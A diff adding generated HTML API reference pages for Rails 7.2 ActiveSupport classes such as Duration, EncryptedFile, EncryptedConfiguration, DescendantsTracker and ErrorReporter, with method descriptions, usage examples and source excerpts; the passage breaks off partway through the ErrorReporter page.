+        @silenced || @silence_counter.value.nonzero?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + warn(message = nil, callstack = nil) + +

+ + +
+

Outputs a deprecation warning to the output configured by ActiveSupport::Deprecation#behavior.

+ +
ActiveSupport::Deprecation.new.warn('something broke!')
+# => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/reporting.rb, line 18
+      def warn(message = nil, callstack = nil)
+        return if silenced
+
+        callstack ||= caller_locations(2)
+        deprecation_message(callstack, message).tap do |full_message|
+          if deprecation_disallowed?(message)
+            disallowed_behavior.each { |b| b.call(full_message, callstack, self) }
+          else
+            behavior.each { |b| b.call(full_message, callstack, self) }
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/DeprecationException.html b/src/7.2/classes/ActiveSupport/DeprecationException.html new file mode 100644 index 0000000000..a5f790267c --- /dev/null +++ b/src/7.2/classes/ActiveSupport/DeprecationException.html @@ -0,0 +1,66 @@ +--- +title: ActiveSupport::DeprecationException +layout: default +--- +
+ +
+
+ +
+ +

Raised when ActiveSupport::Deprecation::Behavior#behavior is set with :raise. You would set :raise, as a behavior to raise errors and proactively report exceptions from deprecations.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/DescendantsTracker.html b/src/7.2/classes/ActiveSupport/DescendantsTracker.html new file mode 100644 index 0000000000..146647e467 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/DescendantsTracker.html @@ -0,0 +1,193 @@ +--- +title: ActiveSupport::DescendantsTracker +layout: default +--- +
+ +
+
+ +
+ +

Active Support Descendants Tracker

+ +

This module provides an internal implementation to track descendants which is faster than iterating through ObjectSpace.

+ +

However Ruby 3.1 provide a fast native +Class#subclasses+ method, so if you know your code won’t be executed on older rubies, including ActiveSupport::DescendantsTracker does not provide any benefit.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + descendants(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/descendants_tracker.rb, line 102
+      def descendants(klass)
+        klass.descendants
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subclasses(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/descendants_tracker.rb, line 98
+      def subclasses(klass)
+        klass.subclasses
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + descendants() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/descendants_tracker.rb, line 107
+    def descendants
+      subclasses = DescendantsTracker.reject!(self.subclasses)
+      subclasses.concat(subclasses.flat_map(&:descendants))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Duration.html b/src/7.2/classes/ActiveSupport/Duration.html new file mode 100644 index 0000000000..f8f8ce0ad0 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Duration.html @@ -0,0 +1,1353 @@ +--- +title: ActiveSupport::Duration +layout: default +--- +
+ +
+
+ +
+ +

Active Support Duration

+ +

Provides accurate date and time measurements using Date#advance and Time#advance, respectively. It mainly supports the methods on Numeric.

+ +
1.month.ago       # equivalent to Time.now.advance(months: -1)
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PARTS=[:years, :months, :weeks, :days, :hours, :minutes, :seconds].freeze
PARTS_IN_SECONDS={ +seconds: 1, +minutes: SECONDS_PER_MINUTE, +hours: SECONDS_PER_HOUR, +days: SECONDS_PER_DAY, +weeks: SECONDS_PER_WEEK, +months: SECONDS_PER_MONTH, +years: SECONDS_PER_YEAR +}.freeze
SECONDS_PER_DAY=86400
SECONDS_PER_HOUR=3600
SECONDS_PER_MINUTE=60
SECONDS_PER_MONTH=2629746
SECONDS_PER_WEEK=604800
SECONDS_PER_YEAR=31556952
VARIABLE_PARTS=[:years, :months, :weeks, :days].freeze
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + value
+ + + + +

Class Public methods

+ +
+

+ + build(value) + +

+ + +
+

Creates a new Duration from a seconds value that is converted to the individual parts:

+ +
ActiveSupport::Duration.build(31556952).parts # => {:years=>1}
+ActiveSupport::Duration.build(2716146).parts  # => {:months=>1, :days=>1}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 189
+      def build(value)
+        unless value.is_a?(::Numeric)
+          raise TypeError, "can't build an #{self.name} from a #{value.class.name}"
+        end
+
+        parts = {}
+        remainder_sign = value <=> 0
+        remainder = value.round(9).abs
+        variable = false
+
+        PARTS.each do |part|
+          unless part == :seconds
+            part_in_seconds = PARTS_IN_SECONDS[part]
+            parts[part] = remainder.div(part_in_seconds) * remainder_sign
+            remainder %= part_in_seconds
+
+            unless parts[part].zero?
+              variable ||= VARIABLE_PARTS.include?(part)
+            end
+          end
+        end unless value == 0
+
+        parts[:seconds] = remainder * remainder_sign
+
+        new(value, parts, variable)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parse(iso8601duration) + +

+ + +
+

Creates a new Duration from string formatted according to ISO 8601 Duration.

+ +

See ISO 8601 for more information. This method allows negative parts to be present in pattern. If invalid string is provided, it will raise ActiveSupport::Duration::ISO8601Parser::ParsingError.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 144
+      def parse(iso8601duration)
+        parts = ISO8601Parser.new(iso8601duration).parse!
+        new(calculate_total_seconds(parts), parts)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + %(other) + +

+ + +
+

Returns the modulo of this Duration by another Duration or Numeric. Numeric values are treated as seconds.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 312
+    def %(other)
+      if Duration === other || Scalar === other
+        Duration.build(value % other.value)
+      elsif Numeric === other
+        Duration.build(value % other)
+      else
+        raise_type_error(other)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + *(other) + +

+ + +
+

Multiplies this Duration by a Numeric and returns a new Duration.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 287
+    def *(other)
+      if Scalar === other || Duration === other
+        Duration.new(value * other.value, @parts.transform_values { |number| number * other.value }, @variable || other.variable?)
+      elsif Numeric === other
+        Duration.new(value * other, @parts.transform_values { |number| number * other }, @variable)
+      else
+        raise_type_error(other)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + +(other) + +

+ + +
+

Adds another Duration or a Numeric to this Duration. Numeric values are treated as seconds.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 268
+    def +(other)
+      if Duration === other
+        parts = @parts.merge(other._parts) do |_key, value, other_value|
+          value + other_value
+        end
+        Duration.new(value + other.value, parts, @variable || other.variable?)
+      else
+        seconds = @parts.fetch(:seconds, 0) + other
+        Duration.new(value + other, @parts.merge(seconds: seconds), @variable)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + -(other) + +

+ + +
+

Subtracts another Duration or a Numeric from this Duration. Numeric values are treated as seconds.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 282
+    def -(other)
+      self + (-other)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + /(other) + +

+ + +
+

Divides this Duration by a Numeric and returns a new Duration.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 298
+    def /(other)
+      if Scalar === other
+        Duration.new(value / other.value, @parts.transform_values { |number| number / other.value }, @variable)
+      elsif Duration === other
+        value / other.value
+      elsif Numeric === other
+        Duration.new(value / other, @parts.transform_values { |number| number / other }, @variable)
+      else
+        raise_type_error(other)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + <=>(other) + +

+ + +
+

Compares one Duration with another or a Numeric to this Duration. Numeric values are treated as seconds.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 258
+    def <=>(other)
+      if Duration === other
+        value <=> other.value
+      elsif Numeric === other
+        value <=> other
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ==(other) + +

+ + +
+

Returns true if other is also a Duration instance with the same value, or if other == value.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 341
+    def ==(other)
+      if Duration === other
+        other.value == value
+      else
+        other == value
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after(time = ::Time.current) + +

+ + +
+ +
+ + + + + +
+ Alias for: since +
+ + + + +
+ +
+

+ + ago(time = ::Time.current) + +

+ + +
+

Calculates a new Time or Date that is as far in the past as this Duration represents.

+
+ + + +
+ Also aliased as: until, before +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 444
+    def ago(time = ::Time.current)
+      sum(-1, time)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before(time = ::Time.current) + +

+ + +
+ +
+ + + + + +
+ Alias for: ago +
+ + + + +
+ +
+

+ + eql?(other) + +

+ + +
+

Returns true if other is also a Duration instance, which has the same parts as this one.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 426
+    def eql?(other)
+      Duration === other && other.value.eql?(value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_now(time = ::Time.current) + +

+ + +
+ +
+ + + + + +
+ Alias for: since +
+ + + + +
+ +
+

+ + hash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 430
+    def hash
+      @value.hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_days() + +

+ + +
+

Returns the amount of days a duration covers as a float

+ +
12.hours.in_days # => 0.5
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 399
+    def in_days
+      in_seconds / SECONDS_PER_DAY.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_hours() + +

+ + +
+

Returns the amount of hours a duration covers as a float

+ +
1.day.in_hours # => 24.0
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 392
+    def in_hours
+      in_seconds / SECONDS_PER_HOUR.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_minutes() + +

+ + +
+

Returns the amount of minutes a duration covers as a float

+ +
1.day.in_minutes # => 1440.0
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 385
+    def in_minutes
+      in_seconds / SECONDS_PER_MINUTE.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_months() + +

+ + +
+

Returns the amount of months a duration covers as a float

+ +
9.weeks.in_months # => 2.07
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 413
+    def in_months
+      in_seconds / SECONDS_PER_MONTH.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_seconds() + +

+ + +
+ +
+ + + + + +
+ Alias for: to_i +
+ + + + +
+ +
+

+ + in_weeks() + +

+ + +
+

Returns the amount of weeks a duration covers as a float

+ +
2.months.in_weeks # => 8.696
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 406
+    def in_weeks
+      in_seconds / SECONDS_PER_WEEK.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_years() + +

+ + +
+

Returns the amount of years a duration covers as a float

+ +
30.days.in_years # => 0.082
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 420
+    def in_years
+      in_seconds / SECONDS_PER_YEAR.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + iso8601(precision: nil) + +

+ + +
+

Build ISO 8601 Duration string for this duration. The precision parameter can be used to limit seconds’ precision of duration.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 473
+    def iso8601(precision: nil)
+      ISO8601Serializer.new(self, precision: precision).serialize
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parts() + +

+ + +
+

Returns a copy of the parts hash that defines the duration.

+ +
5.minutes.parts # => {:minutes=>5}
+3.years.parts # => {:years=>3}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 241
+    def parts
+      @parts.dup
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + since(time = ::Time.current) + +

+ + +
+

Calculates a new Time or Date that is as far in the future as this Duration represents.

+
+ + + +
+ Also aliased as: from_now, after +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 436
+    def since(time = ::Time.current)
+      sum(1, time)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_i() + +

+ + +
+

Returns the number of seconds that this Duration represents.

+ +
1.minute.to_i   # => 60
+1.hour.to_i     # => 3600
+1.day.to_i      # => 86400
+
+ +

Note that this conversion makes some assumptions about the duration of some periods, e.g. months are always 1/12 of year and years are 365.2425 days:

+ +
# equivalent to (1.year / 12).to_i
+1.month.to_i    # => 2629746
+
+# equivalent to 365.2425.days.to_i
+1.year.to_i     # => 31556952
+
+ +

In such cases, Ruby’s core Date and Time should be used for precision date and time arithmetic.

+
+ + + +
+ Also aliased as: in_seconds +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 377
+    def to_i
+      @value.to_i
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+

Returns the amount of seconds a duration covers as a string. For more information check to_i method.

+ +
1.day.to_s # => "86400"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/duration.rb, line 353
+    def to_s
+      @value.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + until(time = ::Time.current) + +

+ + +
+ +
+ + + + + +
+ Alias for: ago +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Duration/ISO8601Parser.html b/src/7.2/classes/ActiveSupport/Duration/ISO8601Parser.html new file mode 100644 index 0000000000..ec34a2950e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Duration/ISO8601Parser.html @@ -0,0 +1,73 @@ +--- +title: ActiveSupport::Duration::ISO8601Parser +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Duration/ISO8601Parser/ParsingError.html b/src/7.2/classes/ActiveSupport/Duration/ISO8601Parser/ParsingError.html new file mode 100644 index 0000000000..103683aba4 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Duration/ISO8601Parser/ParsingError.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Duration::ISO8601Parser::ParsingError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EncryptedConfiguration.html b/src/7.2/classes/ActiveSupport/EncryptedConfiguration.html new file mode 100644 index 0000000000..41ef242ead --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EncryptedConfiguration.html @@ -0,0 +1,241 @@ +--- +title: ActiveSupport::EncryptedConfiguration +layout: default +--- +
+ +
+
+ +
+ +

Encrypted Configuration

+ +

Provides convenience methods on top of EncryptedFile to access values stored as encrypted YAML.

+ +

Values can be accessed via Hash methods, such as fetch and dig, or via dynamic accessor methods, similar to OrderedOptions.

+ +
my_config = ActiveSupport::EncryptedConfiguration.new(...)
+my_config.read # => "some_secret: 123\nsome_namespace:\n  another_secret: 456"
+
+my_config[:some_secret]
+# => 123
+my_config.some_secret
+# => 123
+my_config.dig(:some_namespace, :another_secret)
+# => 456
+my_config.some_namespace.another_secret
+# => 456
+my_config.fetch(:foo)
+# => KeyError
+my_config.foo!
+# => KeyError
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(config_path:, key_path:, env_key:, raise_if_missing_key:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_configuration.rb, line 48
+    def initialize(config_path:, key_path:, env_key:, raise_if_missing_key:)
+      super content_path: config_path, key_path: key_path,
+        env_key: env_key, raise_if_missing_key: raise_if_missing_key
+      @config = nil
+      @options = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + config() + +

+ + +
+

Returns the decrypted content as a Hash with symbolized keys.

+ +
my_config = ActiveSupport::EncryptedConfiguration.new(...)
+my_config.read # => "some_secret: 123\nsome_namespace:\n  another_secret: 456"
+
+my_config.config
+# => { some_secret: 123, some_namespace: { another_secret: 789 } }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_configuration.rb, line 75
+    def config
+      @config ||= deserialize(read).deep_symbolize_keys
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read() + +

+ + +
+

Reads the file and returns the decrypted content. See EncryptedFile#read.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_configuration.rb, line 56
+    def read
+      super
+    rescue ActiveSupport::EncryptedFile::MissingContentError
+      # Allow a config to be started without a file present
+      ""
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EncryptedConfiguration/InvalidContentError.html b/src/7.2/classes/ActiveSupport/EncryptedConfiguration/InvalidContentError.html new file mode 100644 index 0000000000..ce1861e0d0 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EncryptedConfiguration/InvalidContentError.html @@ -0,0 +1,149 @@ +--- +title: ActiveSupport::EncryptedConfiguration::InvalidContentError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(content_path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_configuration.rb, line 37
+      def initialize(content_path)
+        super "Invalid YAML in '#{content_path}'."
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + message() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_configuration.rb, line 41
+      def message
+        cause.is_a?(Psych::SyntaxError) ? "#{super}\n\n  #{cause.message}" : super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EncryptedFile.html b/src/7.2/classes/ActiveSupport/EncryptedFile.html new file mode 100644 index 0000000000..421037b472 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EncryptedFile.html @@ -0,0 +1,428 @@ +--- +title: ActiveSupport::EncryptedFile +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
CIPHER="aes-128-gcm"
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + content_path
+ [R] + env_key
+ [R] + key_path
+ [R] + raise_if_missing_key
+ + + + +

Class Public methods

+ +
+

+ + generate_key() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 31
+    def self.generate_key
+      SecureRandom.hex(ActiveSupport::MessageEncryptor.key_len(CIPHER))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(content_path:, key_path:, env_key:, raise_if_missing_key:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 42
+    def initialize(content_path:, key_path:, env_key:, raise_if_missing_key:)
+      @content_path = Pathname.new(content_path).yield_self { |path| path.symlink? ? path.realpath : path }
+      @key_path = Pathname.new(key_path)
+      @env_key, @raise_if_missing_key = env_key, raise_if_missing_key
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + change(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 83
+    def change(&block)
+      writing read, &block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key() + +

+ + +
+

Returns the encryption key, first trying the environment variable specified by env_key, then trying the key file specified by key_path. If raise_if_missing_key is true, raises MissingKeyError if the environment variable is not set and the key file does not exist.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 52
+    def key
+      read_env_key || read_key_file || handle_missing_key
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key?() + +

+ + +
+

Returns truthy if key is truthy. Returns falsy otherwise. Unlike key, does not raise MissingKeyError when raise_if_missing_key is true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 58
+    def key?
+      read_env_key || read_key_file
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read() + +

+ + +
+

Reads the file and returns the decrypted content.

+ +

Raises:

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 70
+    def read
+      if !key.nil? && content_path.exist?
+        decrypt content_path.binread.strip
+      else
+        raise MissingContentError, content_path
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write(contents) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 78
+    def write(contents)
+      IO.binwrite "#{content_path}.tmp", encrypt(contents)
+      FileUtils.mv "#{content_path}.tmp", content_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EncryptedFile/InvalidKeyLengthError.html b/src/7.2/classes/ActiveSupport/EncryptedFile/InvalidKeyLengthError.html new file mode 100644 index 0000000000..44848356f8 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EncryptedFile/InvalidKeyLengthError.html @@ -0,0 +1,107 @@ +--- +title: ActiveSupport::EncryptedFile::InvalidKeyLengthError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 24
+      def initialize
+        super "Encryption key must be exactly #{EncryptedFile.expected_key_length} characters."
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EncryptedFile/MissingContentError.html b/src/7.2/classes/ActiveSupport/EncryptedFile/MissingContentError.html new file mode 100644 index 0000000000..e547018505 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EncryptedFile/MissingContentError.html @@ -0,0 +1,107 @@ +--- +title: ActiveSupport::EncryptedFile::MissingContentError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(content_path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 10
+      def initialize(content_path)
+        super "Missing encrypted content file in #{content_path}."
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EncryptedFile/MissingKeyError.html b/src/7.2/classes/ActiveSupport/EncryptedFile/MissingKeyError.html new file mode 100644 index 0000000000..bba61e68ff --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EncryptedFile/MissingKeyError.html @@ -0,0 +1,109 @@ +--- +title: ActiveSupport::EncryptedFile::MissingKeyError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(key_path:, env_key:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/encrypted_file.rb, line 16
+      def initialize(key_path:, env_key:)
+        super \
+          "Missing encryption key to decrypt file with. " +
+          "Ask your team for your master key and write it to #{key_path} or put it in the ENV['#{env_key}']."
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EnumerableCoreExt.html b/src/7.2/classes/ActiveSupport/EnumerableCoreExt.html new file mode 100644 index 0000000000..3de2855915 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EnumerableCoreExt.html @@ -0,0 +1,67 @@ +--- +title: ActiveSupport::EnumerableCoreExt +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/EnumerableCoreExt/Constants.html b/src/7.2/classes/ActiveSupport/EnumerableCoreExt/Constants.html new file mode 100644 index 0000000000..45d101f9ed --- /dev/null +++ b/src/7.2/classes/ActiveSupport/EnumerableCoreExt/Constants.html @@ -0,0 +1,54 @@ +--- +title: ActiveSupport::EnumerableCoreExt::Constants +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/ErrorReporter.html b/src/7.2/classes/ActiveSupport/ErrorReporter.html new file mode 100644 index 0000000000..e108bc1b29 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/ErrorReporter.html @@ -0,0 +1,672 @@ +--- +title: ActiveSupport::ErrorReporter +layout: default +--- +
+ +
+
+ +
+ +

Active Support Error Reporter

+ +

ActiveSupport::ErrorReporter is a common interface for error reporting services.

+ +

To rescue and report any unhandled error, you can use the handle method:

+ +
Rails.error.handle do
+  do_something!
+end
+
+ +

If an error is raised, it will be reported and swallowed.

+ +

Alternatively, if you want to report the error but not swallow it, you can use record:

+ +
Rails.error.record do
+  do_something!
+end
+
+ +

Both methods can be restricted to handle only a specific error class:

+ +
maybe_tags = Rails.error.handle(Redis::BaseError) { redis.get("tags") }
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DEFAULT_RESCUE=[StandardError].freeze
DEFAULT_SOURCE="application"
SEVERITIES=%i(error warning info)
UnexpectedError=Class.new(Exception)
+ + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + debug_mode
+ [RW] + logger
+ + + + +

Class Public methods

+ +
+

+ + new(*subscribers, logger: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 35
+    def initialize(*subscribers, logger: nil)
+      @subscribers = subscribers.flatten
+      @logger = logger
+      @debug_mode = false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + disable(subscriber) + +

+ + +
+

Prevent a subscriber from being notified of errors for the duration of the block. You may pass in the subscriber itself, or its class.

+ +

This can be helpful for error reporting service integrations, when they wish to handle any errors higher in the stack.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/error_reporter.rb, line 185
+    def disable(subscriber)
+      disabled_subscribers = (ActiveSupport::IsolatedExecutionState[self] ||= [])
+      disabled_subscribers << subscriber
+      begin
+        yield
+      ensure
+        disabled_subscribers.delete(subscriber)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + handle(*error_classes, severity: :warning, context: {}, fallback: nil, source: DEFAULT_SOURCE) + +

+ + +
+

Evaluates the given block, reporting and swallowing any unhandled error. If no error is raised, returns the return value of the block. Otherwise, returns the result of fallback.call, or nil if fallback is not specified.

+ +
# Will report a TypeError to all subscribers and return nil.
+Rails.error.handle do
+  1 + '1'
+end
+
+ +

Can be restricted to handle only specific error classes:

+ +
maybe_tags = Rails.error.handle(Redis::BaseError) { redis.get("tags") }
+
+ +

Options

+
  • +

    :severity - This value is passed along to subscribers to indicate how important the error report is. Can be :error, :warning, or :info. Defaults to :warning.

    +
  • +

    :context - Extra information that is passed along to subscribers. For example:

    + +
    Rails.error.handle(context: { section: "admin" }) do
    +  # ...
    +end
    +
    +
